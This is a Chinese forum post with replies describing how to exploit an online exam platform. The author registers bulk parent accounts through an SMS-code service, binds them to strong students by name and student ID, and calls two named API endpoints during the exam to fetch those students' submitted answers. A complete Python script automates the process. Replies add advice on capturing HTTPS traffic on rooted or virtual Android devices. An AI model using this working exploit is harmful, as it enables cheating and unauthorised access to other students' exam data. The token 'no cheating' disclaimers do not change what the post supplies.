某分数的脑瘫漏洞
## 前言半年之前搞过[某师某课](https://www.52pojie.cn/thread-1613563-1-1.html) 可能学校意识到普遍分数过高是平台的问题 于是换了某分数提交考试卷子
既然是教育网站 那么或多或少会有一些*脑瘫*问题
本着研究但不利用的原则 便有了以下折腾的过程
## 过程
### 思路1-失败
通过考完试比对答案的接口 假装考试已经结束 发送数据来请求答案
结果:
https://file.moetu.org/images/2022/11/30/QQ2022113016084910b9d203bd6441b9.png
很显然 人家已经想到了这个问题 不出分是无法获取到答案的
### 思路2
依稀记得家长端在绑定学生时 只需要输入对应的姓名和学号即可
那么可不可以用家长端绑定好学生 在考试期间获取他们的答案呢?
先说结果 这个思路是可以的
已知每个家长号能绑定最多两个学生 且半年后才能换绑
那么我们只要注册足够多的家长号 即可随便绑学生
这里用x码平台 具体懂得都懂
https://file.moetu.org/images/2022/11/30/QQ2022113016152337787bb6a3ff1f0c.png
然后我们每个号绑定一个好学生
接下来分析提交的答案是怎么获取的
首先明确这个平台的几个概念:
不管是学生号还是家长号 都是一个账号对应一个hfs-session-id
家长号切换孩子后 同样的hfs-session-id获取到的卷子为切换到的学生的
考试部分获取答案总共需要两个包
第一个:
https://file.moetu.org/images/2022/11/30/1669797102921733a2e84f10e496c.png
```
https://hfs-be.yunxiao.com/v2/online-exams/token?examId=考试id&paperId=完整的试卷id
```
这里需要注意一下 发包时除了要处理headers
还要把hfs-session-id写到cookies里去
成功的话 会返回一个阅卷token
第二个:
利用这个阅卷token去获取已经提交的答案
https://file.moetu.org/images/2022/11/30/16697974244783cc94e717b800755.png
```
https://yj-apigw.haofenshu.com/v370/structure/online?paperid=试卷id
```
这里需要注意 这个包不要有cookies
要把获取到的阅卷token加到headers里
成功的话 会返回一个json 里面存有选项和提交的答案
https://file.moetu.org/images/2022/11/30/16697980380364dd53c1cbbb9d6f6.png
(这里还没提交 所以是空的)
然后 我们模拟这个流程 用python写个发包解析的程序
```
import requests
import json
examid="考试id"
paperid="试卷id"
paperidfull="完整的试卷id"
stu_tokens = [
"eyxxxxxxx",#家长token
]
count=1
for stu in stu_tokens:
url="https://hfs-be.yunxiao.com/v2/online-exams/token?examId="+examid+"&paperId="+paperidfull
cookie = {'hfs-session-id': stu}
headers = {'devicetype': '1','apptype': '1','versionname': "4.30.91",'user-agent': "YX Android 10"}
req=requests.get(url=url,headers=headers,cookies=cookie)
#print(req.text)
yuejuan=json.loads(req.text).get('data').get('token')
headers.update({'hfs-app-token': yuejuan})
url="https://yj-apigw.haofenshu.com/v370/structure/online?paperid="+paperid
req=requests.get(url=url,headers=headers)
#print(req.text)
keguanti=json.loads(req.text).get('data').get('keguanti')
zhuguanti=json.loads(req.text).get('data').get('zhuguanti')
for dati in keguanti:
print(dati["name"])
questions_list=dati["questions"]
for xiaoti in questions_list:
if xiaoti["stuAns"] !="" and xiaoti["stuAns"] !="-":
print(xiaoti["name"]+" "+xiaoti["stuAns"])
for ti in zhuguanti:
pic_list=ti["httpPath"]
if pic_list != None:
print(ti["name"]+" "+" ".join(pic_list))
print("========== |"+str(count))
count+=1
```
在考试结束的交卷时间里 我们一直重复运行即可
https://file.moetu.org/images/2022/11/30/_202211301701057972bff817c29be4.png
## 最后
**严禁作弊!!!**
**严禁作弊!!!**
**严禁作弊!!!** 经理看到连夜增加新功能:如果没有通过教师的author认证,就直接返回一套错误答案{:301_1001:}
如果最后把所有答案与错误答案对比,相似度超过90%直接交给人工审核{:301_1001:} 感谢分享,但是感觉很快平台就会有动作了,这些平台难道都不做项目设计的吗?这么关键的数据居然随意下发给权限那么低的账户,不过修bug也简单,非教师用户仅能考试结束后xx小时调阅试卷即可 学习看看 好贴,先点后试 感谢分享 中间那个是黄鸟吧,请问下安卓12以上的系统用黄鸟无ROOT的情况下怎么抓HTTPS的包呢? 感谢分享,希望楼主多多发帖 ClearLover 发表于 2022-11-30 18:41
中间那个是黄鸟吧,请问下安卓12以上的系统用黄鸟无ROOT的情况下怎么抓HTTPS的包呢?
虚拟机用justtrustme之类的模块 实机抓包
我比较喜欢直接用root{:301_997:} 虽然用不上,但是还是点个赞! 感谢分享,学习学习 这个漏洞确实有点那啥了